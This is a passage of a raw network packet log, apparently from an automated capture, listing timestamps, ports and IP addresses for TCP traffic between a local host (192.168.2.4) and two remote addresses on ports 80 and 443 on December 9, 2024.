Dec 9, 2024 20:27:34.604162931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.604197025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.604207039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.605034113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.605102062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.605889082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.605942011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.606033087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.606048107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.606081009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.606092930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.606997013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.607052088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.608074903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.608088970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.608133078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.608174086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.608217001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.609087944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.609103918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.609137058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.609158039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.610057116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.610104084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.610239029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.610296965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.611047983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.611093998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.611114979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.611157894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.611376047 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.612135887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.612149000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.612181902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.612206936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.612999916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.613054991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.613883972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.613931894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.613986015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.613998890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.614057064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.615036964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.615087032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.615261078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.615309000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.615932941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.615982056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.616297960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.616353035 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.616972923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.617019892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.617153883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.617202997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.617309093 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.617367029 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.617383957 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.618118048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.618175030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.618458986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.618521929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.618992090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.619050980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.619303942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.619358063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.619954109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.620014906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.620476007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.620527983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.620991945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.621035099 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.621140957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.621195078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.621947050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.622013092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.622030020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.622083902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.622973919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.623017073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.623192072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.623241901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.623970032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.623985052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.624030113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.625071049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.625128984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.625587940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.625638962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.625998020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.626048088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.626323938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.626382113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.626965046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.627023935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.627096891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.627142906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.627975941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.628026962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.628031969 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.628053904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.628086090 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.628098011 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.628112078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.628956079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.629029989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.629909992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.629966021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.630002022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.630038023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.630064964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.630091906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.630945921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.631011009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.631412983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.631472111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.631931067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.631982088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.632004023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.632045984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.632929087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.632977962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.633905888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.633941889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.633954048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.633960009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.633984089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.633996964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.634954929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.635011911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.635669947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.635725021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.635999918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.636014938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.636058092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.636904955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.636965036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.636986971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.637037992 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.638019085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.638081074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.638899088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.638963938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.638983965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.638998032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.639025927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.639039040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.639940977 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.639990091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.639993906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.639997005 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.640034914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.640084028 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.640099049 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.640974998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.641050100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.641074896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.641179085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.642102957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.642155886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.642218113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.642265081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.642905951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.642951965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.643775940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.643838882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.643918991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.643930912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.643964052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.643992901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.653490067 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.653546095 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.653559923 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.668260098 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.668313980 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.668327093 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.680471897 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.680526018 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.680536032 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.693717003 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.693767071 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.693782091 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.706090927 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.706159115 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.706167936 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.718600988 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.718669891 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.718683004 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.718693018 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.718736887 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.731440067 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.744194984 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.744259119 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.744283915 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.744297028 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.744340897 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.756978989 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.784442902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.784511089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.784900904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.784923077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.784954071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.784977913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.784981012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.785023928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.785892963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.785938978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.785974979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.786015987 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.786889076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.786938906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.787261963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.787311077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.787513971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.787560940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.788208961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.788259983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.788635969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.788682938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.789235115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.789289951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.789484024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.789532900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.790215969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.790262938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.790543079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.790594101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.791258097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.791270018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.791316986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.792545080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.792557001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.792594910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.794028997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.794085979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.794312000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.794327021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.794359922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.794378996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.794446945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.794497967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.795214891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.795265913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.795326948 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.795373917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.796205997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.796252966 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.796888113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.796947956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.797202110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.797214985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.797246933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.797269106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.797430992 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.798176050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.798254967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.798312902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.798357964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.799205065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.799253941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.799504042 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.799557924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.800192118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.800251961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.800990105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.801043034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.801230907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.801244974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.801280975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.801305056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.802170038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.802232027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.802690983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.802763939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.803175926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.803236008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.803416967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.803468943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.803580999 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.804160118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.804214001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.804399014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.804474115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.805169106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.805238962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.805680037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.805736065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.805919886 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.805958986 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.805969000 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.805983067 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.806026936 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.806184053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.806197882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.806233883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.807271957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.807328939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.807554960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.807607889 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.808291912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.808334112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.808367968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.808393955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.809253931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.809304953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.809870005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.809931993 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.810193062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.810205936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.810252905 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.811158895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.811213970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.811753035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.811808109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.812149048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.812197924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.812551975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.812602997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.812675953 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.813137054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.813189983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.813343048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.813393116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.814213991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.814264059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.814631939 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.814697981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.815082073 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.815119982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.815135956 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.815146923 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.815171003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.815486908 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.815540075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.816190958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.816242933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.816337109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.816385031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.817280054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.817342043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.817768097 CET	80	49740	185.215.113.206	192.168.2.4
